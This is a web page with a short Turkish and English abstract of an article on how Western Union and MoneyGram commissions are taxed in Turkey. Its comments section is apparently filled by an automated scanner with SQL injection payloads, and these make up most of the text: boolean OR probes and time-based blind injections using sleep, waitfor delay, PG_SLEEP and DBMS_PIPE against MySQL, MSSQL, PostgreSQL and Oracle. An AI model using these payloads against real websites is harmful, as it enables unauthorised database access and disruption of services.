Western Union (WU) ve MoneyGram Payment Systems Inc. (MG) merkezleri Amerika Birleşik Devletinde olan ve dünyanın dört bir yanındaki ülkelerde çeşitli para havalesi ve ilgili hizmetleri veren firmalardır. Söz konusu firmalar temsilcilik sözleşmesi imzalamak suretiyle dünyanın pek çok ülkesindeki acenteleri vasıtasıyla bu hizmeti vermektedir. Türkiye’de ise anlaşmalı bankalar veya PTT aracılığıyla WU/MG sistemlerini kullanarak yurtdışına para gönderme veya yurtdışından gelen parayı alabilmek mümkündür. Bu şekilde müşterilerin para gönderme işlemi sırasında bankaya ödemiş olduğu komisyonlar ile yurtdışından gelen parayı müşteriye ulaştırma işlemine karşılık WU/MG’ın bankalara ödediği komisyonlar Banka ve Sigorta Muameleleri Vergisi ile Kurumlar Vergisi Kanunu açısından makalemizde irdelediğimiz konulardır.
The Western Union (WU) ve MoneyGram Payment Systems Inc. (MG) are the corporations whose headquarters are located in the USA, providing money order and similar services all around the World. The both firms serve via their branches across the world by signing representation contracts. In Turkey, through PTT and partner banks and by using WU/MG systems, international transactions are available. The bank fees charged on the customers and the commissions accrued by WU/MG in return to intermediancy services are the matters that we shall analyze in terms of the involvement with Banking and Insurance Transaction Tax and Corporate Tax Law.
YORUMLAR
555
1
555
1
555
1
555
jzP407O0
555
-1 OR 2+378-378-1=0+0+0+1 --
555
-1 OR 2+152-152-1=0+0+0+1
555
-1' OR 2+946-946-1=0+0+0+1 --
555
-1' OR 2+91-91-1=0+0+0+1 or 'Pg0kwlVY'='
555
-1" OR 2+376-376-1=0+0+0+1 --
555
if(now()=sysdate(),sleep(15),0)
555
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
555
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
-1; waitfor delay '0:0:15' --
555
-1); waitfor delay '0:0:15' --
555
-1)); waitfor delay '0:0:15' --
555
1 waitfor delay '0:0:15' --
555
jp1oNRNs'; waitfor delay '0:0:15' --
555
Vnq9YJlR'); waitfor delay '0:0:15' --
555
d6x9EyZT')); waitfor delay '0:0:15' --
555
-5 OR 286=(SELECT 286 FROM PG_SLEEP(15))--
555
-5) OR 873=(SELECT 873 FROM PG_SLEEP(15))--
555
-1)) OR 258=(SELECT 258 FROM PG_SLEEP(15))--
555
za8u3HXC' OR 706=(SELECT 706 FROM PG_SLEEP(15))--
555
Pot5yOfj') OR 691=(SELECT 691 FROM PG_SLEEP(15))--
555
mt47e0tE')) OR 478=(SELECT 478 FROM PG_SLEEP(15))--
555
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
1'"
555
1 ����%2527%2522
555
@@Ka1Dk
555
1
555
1
555
1
555
1
555
1
555
1
555
1
555
1
555
1
555
1
555
1
555
1
555
1
555
1
555
1
555
1
555
1
555
1
555
1
555
1
555
1
555
1
555
1
555
1
555
1
eX4xETUO
1
-1 OR 2+671-671-1=0+0+0+1 --
1
-1 OR 2+14-14-1=0+0+0+1
1
-1' OR 2+419-419-1=0+0+0+1 --
1
-1' OR 2+42-42-1=0+0+0+1 or 'bPvONqGh'='
1
-1" OR 2+233-233-1=0+0+0+1 --
1
if(now()=sysdate(),sleep(15),0)
1
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
1
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1
-1; waitfor delay '0:0:15' --
1
-1); waitfor delay '0:0:15' --
1
-1)); waitfor delay '0:0:15' --
1
1 waitfor delay '0:0:15' --
1
y9dCDEnc'; waitfor delay '0:0:15' --
1
TxjoeCgf'); waitfor delay '0:0:15' --
1
tO1SjFJi')); waitfor delay '0:0:15' --
1
-5 OR 749=(SELECT 749 FROM PG_SLEEP(15))--
1
-5) OR 917=(SELECT 917 FROM PG_SLEEP(15))--
1
-1)) OR 161=(SELECT 161 FROM PG_SLEEP(15))--
1
SEpMLiuX' OR 869=(SELECT 869 FROM PG_SLEEP(15))--
1
dCxgZmp3') OR 217=(SELECT 217 FROM PG_SLEEP(15))--
1
TjgOIjiB')) OR 781=(SELECT 781 FROM PG_SLEEP(15))--
1
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1
1'"
1
1 ����%2527%2522
1
@@eeL8s
1
Daha Fazla